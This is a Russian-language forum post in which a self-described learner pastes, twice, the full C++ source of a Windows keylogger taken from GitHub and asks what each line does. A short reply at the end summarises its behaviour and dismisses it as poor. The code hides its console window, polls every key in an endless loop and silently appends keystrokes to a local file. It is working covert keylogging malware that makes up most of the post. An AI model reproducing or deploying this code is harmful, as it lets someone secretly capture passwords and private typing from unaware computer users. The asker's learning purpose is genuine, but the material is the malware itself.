Всем доброго времени суток! Посидел я на зарубежных сайтах, на GitHub, изучил инфу про программированию, и решил создать keylogger. Нашёл готовый келоггер на гитхабе. Но принципиально покупать и использовать готовые кейлоггеры я не хочу, я учусь и ведь лучше создать что-то своё неповторимое и интересное, чем пользоваться тем, что есть у всех. Так вот ближе к делу! Взял я уже готовый кейлоггер с гитхаба написанный на С++, загрузил в Visual Studio 2013, и решил во всех строчках кода разобраться, чтобы понимать, что да как работает. Какую-то инфу о той или иной строчке я нашёл в инете, а что-то не получилось найти. И решил обратиться к знающим людям то бишь к Вам)) Объясните зелёному что делает та или иная строчка. Всем заранее ОГРОМНОЕ СПАСИБО!! Так же принимаю конструктивную критику и полезные советы) #define _WIN32_WINNT 0x0500 #include <Windows.h> #include <string> #include <stdlib.h> #include <stdio.h> #include <iostream> #include <fstream> using namespace std; void LOG(string input) { fstream LogFile; LogFile.open("dat.txt", fstream::app); if (LogFile.is_open()) { LogFile << input; LogFile.close(); } } bool SpecialKeys(int S_Key) { switch (S_Key) { case VK_SPACE: cout << " "; LOG(" "); return true; case VK_RETURN: cout << "\n"; LOG("\n"); return true; case 'ѕ': cout << "."; LOG("."); return true; case VK_SHIFT: cout << "#SHIFT#"; LOG("#SHIFT#"); return true; case VK_BACK: cout << "\b"; LOG("\b"); return true; case VK_RBUTTON: cout << "#R_CLICK#"; LOG("#R_CLICK#"); return true; default: return false; } } int main() { ShowWindow(GetConsoleWindow(), SW_HIDE); char KEY = 'x'; while (true) { Sleep(10); for (int KEY = 8; KEY <= 190; KEY++) { if (GetAsyncKeyState(KEY) == -32767) { if (SpecialKeys(KEY) == false) { fstream LogFile; LogFile.open("dat.txt", fstream::app); if (LogFile.is_open()) { LogFile << char(KEY); LogFile.close(); } } } } } return 0; } Code #define _WIN32_WINNT 0x0500 #include <Windows.h> #include <string> #include <stdlib.h> #include <stdio.h> #include <iostream> #include <fstream> using namespace std; void LOG(string input) { fstream LogFile; LogFile.open("dat.txt", fstream::app); if (LogFile.is_open()) { LogFile << input; LogFile.close(); } } bool SpecialKeys(int S_Key) { switch (S_Key) { case VK_SPACE: cout << " "; LOG(" "); return true; case VK_RETURN: cout << "\n"; LOG("\n"); return true; case 'ѕ': cout << "."; LOG("."); return true; case VK_SHIFT: cout << "#SHIFT#"; LOG("#SHIFT#"); return true; case VK_BACK: cout << "\b"; LOG("\b"); return true; case VK_RBUTTON: cout << "#R_CLICK#"; LOG("#R_CLICK#"); return true; default: return false; } } int main() { ShowWindow(GetConsoleWindow(), SW_HIDE); char KEY = 'x'; while (true) { Sleep(10); for (int KEY = 8; KEY <= 190; KEY++) { if (GetAsyncKeyState(KEY) == -32767) { if (SpecialKeys(KEY) == false) { fstream LogFile; LogFile.open("dat.txt", fstream::app); if (LogFile.is_open()) { LogFile << char(KEY); LogFile.close(); } } } } } return 0; }
Код в бесконечном цикле проверяет состояние каждой клавиши, и если она нажата то пишет ее в лог файл. P.S. Этот кейлоггер говно